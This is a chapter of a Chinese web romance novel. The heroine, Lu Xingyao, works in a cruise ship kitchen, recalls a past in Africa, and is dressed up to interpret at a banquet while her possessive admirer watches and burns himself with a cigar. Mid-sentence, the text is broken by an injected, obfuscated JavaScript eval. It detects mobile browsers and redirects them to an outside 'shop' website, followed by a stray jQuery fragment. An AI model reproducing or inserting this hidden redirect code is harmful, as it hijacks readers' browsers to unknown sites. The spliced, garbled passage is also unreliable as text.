丹尼尔是陆星遥在非洲那段孤独荒凉的日子里，遇到的为数不多、可以聊得来的朋友。
如果不是担心岳历城可能发疯，她倒是很愿意陪他一起出席今晚的宴会。
她拒绝了丹尼尔。
丹尼尔虽然失望，还是尊重了她的意愿。
夜晚的大海平静无波，长喜号灯火通明，像漂浮在大海上的一颗明珠。
游轮的后厨里，厨师们正在为晚上的庆祝宴会而忙碌。
陆星遥的任务依然是打杂。
此时，她面对的是一大盆泡在冰水里的张牙舞爪的波士顿龙虾。
她要在晚宴开始前把这些家伙开膛破肚，拆解成块。
这个任务对于陆星遥来说并没有什么难度。
她把装着波龙的不锈钢大盆端到厨房后面的甲板上，拿起剪刀就开干。
此时，与她一窗之隔的厨房里，大卫正在备餐。
今晚，老板要宴请的是来自西班牙的贵客，西班牙风味菜是今晚的主角。
大卫终于摸到了舒适区，一边干活一边愉快地哼起了西班牙民歌。
陆星遥在窗户下面处理着波龙，也不由自主地跟着哼唱起来。
“Unapalomablancamecantaalalba
黎明时一只白鸽对着我歌唱
viejasmelancolías,cosasdelalma
古老忧郁（的声音）宛若灵魂在倾诉
lleganconelsilenciodelama?ana
随着清晨的静谧一起临降
ycuandosalgoaverlavuelaasucasa.
我去寻望时它却飞向了故乡”
女孩子的声音优美悦耳，浪漫深情。
这一次，大卫终于多看了她一眼。
陆星遥连忙用西班牙语谄媚道：“这首歌真好听，我也很喜欢。”
大卫那被酒精浸蚀到浑浊的蓝眼睛里难得溢出一抹柔和的光芒，“你去过西班牙？”
“没有。”陆星遥如实回答，“但是我有一位西班牙的朋友，他很喜欢这首歌。”
大卫挑挑眉毛，“你的朋友很有品位。”
陆星遥见他高兴，乘胜追击，继续拍他的马屁：“您做菜的样子特别帅，以前一定是五星级酒店的大厨吧？”
大卫笑起来，“不是，我只开过一家小餐馆。”
“是在西班牙吗？”
“不是，是在非洲。”
一听大卫提到非洲，陆星遥的心里砰砰砰地敲起了小鼓。
她观察着大卫的神色，故作惊讶地说：“啊，是在非洲吗？我也去过非洲。我和我的朋友就是在那里认识的。”
大卫跟她越聊越有兴趣，不由就顺着她的话往下说：“你朋友叫什么名字？或许我也认识呢。”
陆星遥心里的小鼓敲得更急了，她的喉咙来回吞咽几次，说出了那个这辈子都不想再提起的名字：“他叫，胡安·加西亚。”
“胡安·加西亚？”
一听到这个名字，大卫毛玻璃一样的眼珠子突然瞪起来，“哪个胡安·加西亚？”
望着大卫警惕疑惑的目光，陆星遥的心口一窒，感觉呼吸都要停止了。
正在这时，孙厨突然过来叫她，“陆星遥，你赶紧来一下！”
陆星遥丢开手里的活儿，在大卫狐疑的目光注视下，跟着孙厨离开了厨房。
她出了厨房才知道来找她的是苏蕙芽。
苏蕙芽说，负责今晚翻译工作的女生突然来例假了，肚子痛到起不来。
因为岳氏和HT的合作是苏蕙芽爸爸做的中间人，所以，今晚的翻译是苏蕙芽请的自己的同学。
现在她的同学肚子疼到起不来，临时再去找个翻译又不现实，所以，她向爸爸推荐了陆星遥。
苏总在今天下午的时候见过陆星遥跟丹尼尔的交谈，认为她绝对可以胜任今晚的翻译工作。
并且，苏爸爸已经跟岳历城和HT公司的人都打过招呼，双方对此都没有异议。所以就派了苏蕙芽来请她。
苏蕙芽挽着陆星遥的胳膊说：“姐姐，你放心好了，他们的合同已经签完了，不会涉及专业术语的翻译。你就在他们聊天的时候随便翻一翻就好啦。”
此时，陆星遥的脑子里正盘旋着一些不好的回忆，她也有点不想回去面对大卫那双毛玻璃一样的眼睛，所以就答应下来。
苏蕙芽很开心，把她拉到自己的房间，就要给她化妆换衣服。
陆星遥没想到当个翻译会这么麻烦，又想想今天晚宴的客人都是西装革履，礼服拖地的，也就只好把自己交给她折腾了。
她不擅长化妆，也给不了小姑娘什么意见，往化妆台前一坐，就开始闭目养神。
她的眼睛一闭上，胡安·加西亚这个名字就再次浮现在脑海中。
五年过去，她都有点记不清自己当时的样子了，却依然清晰地记着那个男人的模样。
他皮肤白皙，顶着一头卷发，生着一双琥珀色的眼睛。个子高而瘦削，神情忧郁，宛如一位从中世纪古堡中走出的王子。
陆星遥第一次遇见他，是在那个非洲小城。
她陪岳历城去当地政府机关跑事情，中午的时候随便找了一家餐馆吃饭。
那位帅气的白人服务生偷偷看了她好几次，被她发现了。
她笑着用英语逗他：“再看，这一餐就要免费咯。”
然后，他的脸就红了。
后来的时间，因为他们经常要进城，就经常看见他。
他有时候在餐馆端盘子，有时候背一架破相机，这儿拍拍，那儿拍拍。
陆星遥每次看见他都会逗他，一逗就脸红，特别好玩。
再后来，他们熟悉起来，他邀请她做他的模特。
他们一起去草原上，拍落日，拍独行的黑豹，拍狮群，野牛群，也拍她。
岳历城因此吃醋，跟她闹过好几次。
最严重的一次，他赌气不坐她的车，非要走路回工厂。
然后，他遭遇了绑架。
……
“beautiful！姐姐真是太美了！”
苏蕙芽拍了拍陆星遥的肩膀，把她的椅子转到了镜子前面。
陆星遥睁开眼睛，看着镜子里的自己，感觉很陌生。
就像胡安·加西亚镜头里的她，陌生到她自己都不认识。
苏蕙芽凑过来欣赏自己的杰作，“姐姐感觉怎么样？”
陆星
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011701|193199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遥不想辜负小姑娘的好意，违心地说：“好像是挺漂亮的。”
“怎么能是好像呢？”苏蕙芽搂着她的肩膀就夸：“简直是仙女下凡好不好！姐姐，我如果有你这样的皮肤，这样的五官，这样的身材，必须每天都好好打扮，一出门就迷倒一大片。”
陆星遥笑看着镜子里的自己，“嘴巴是不是太红了？”
她说着就要去擦，苏蕙芽连忙制止，“可别！这个色号除了你没有第二个人可以完美驾驭。”
她说着又打开了衣橱，抱出一堆小裙子给她挑。
看着那些漂亮小裙裙，陆星遥感觉有些为难，“有没有长一点的？”
“有啊！”
苏蕙芽拎起那条最长的裙子，在她身前比了比。这条确实是所有裙子里最长的一件，能盖过苏蕙芽的膝盖。可到了陆星遥身上，裙摆依然悬在膝上，何况还是细肩带款，露出一大片肩膀和锁骨。
见陆星遥还犹豫，苏蕙芽笑着拍拍她：“别担心啦，姐姐。里面有安全衬裙的，一点都不会影响你踹人时的潇洒。”
苏蕙芽带的衣服有限，陆星遥没有更好的选择，最终穿了这条纯黑色吊带小礼服。
不过，她让苏蕙芽帮忙找了一件同色的西服外套搭在外面。
露不露肉的她倒是没有过度在意，主要是她不比小姑娘们，肩膀和腰部受凉会不舒服。
晚上六点半，壮美的海上落日即将开始。
客人们踏着金色的光晖，盛装步入位于游轮三层的宴会厅。
陆星遥和苏蕙芽一起走到宴会厅的门口时，丹尼尔正站在那里等人。
丹尼尔一身手工西装，个子又高，腰背挺直地站在那里，是一位彬彬有礼的绅士。
他一看见陆星遥，眼睛里立刻闪烁起惊喜又羞涩的光芒。
“遥，今晚的你简直太漂亮了！感谢你肯做我的女伴！”
他说着就要来牵陆星遥的手。
陆星遥不由就蹙眉看向了苏蕙芽，“？”
“丹尼尔没带女伴，本来说好请翻译帮忙的。你现在是他的翻译了，所以就是你咯。”
小丫头说完，把她往丹尼尔身边一推就跑，丹尼尔连忙扶住了她的胳膊。
陆星遥这时候才意识到上当，而苏蕙芽早已经跑远了。
她推开丹尼尔的手，笑着对他说：“我是你的翻译，更是你的朋友，所以，咱们就像朋友那样入场就可以了。”
她说完就撇下丹尼尔，径直走了进去。
丹尼尔笑着摇了摇头，连忙去追。
不远处的露台上，岳历城的手里夹着半截雪茄，淬了毒的视线死死地钉住楼下人群中的那一对。
姐姐今晚化了妆，还穿了裙子。
姐姐的腰好细，腿好长！
姐姐好美！
可是，她竟然又让别的男人碰了她。
那一瞬间，喉间的烟味陡然变涩。
他盯着那两道有说有笑的身影，丝毫没有感觉烟灰簌簌下坠，火点离指腹越来越近。
直到灼痛刺透皮肤，他才极轻地“呵”了一声，“是我的，我的，为什么都要跟我抢……”
他神经质地低喃着，任凭烧红的烟身收缩进他的指间，皮肉被烧灼的痛感，是她烙进他身体里的又一段记忆。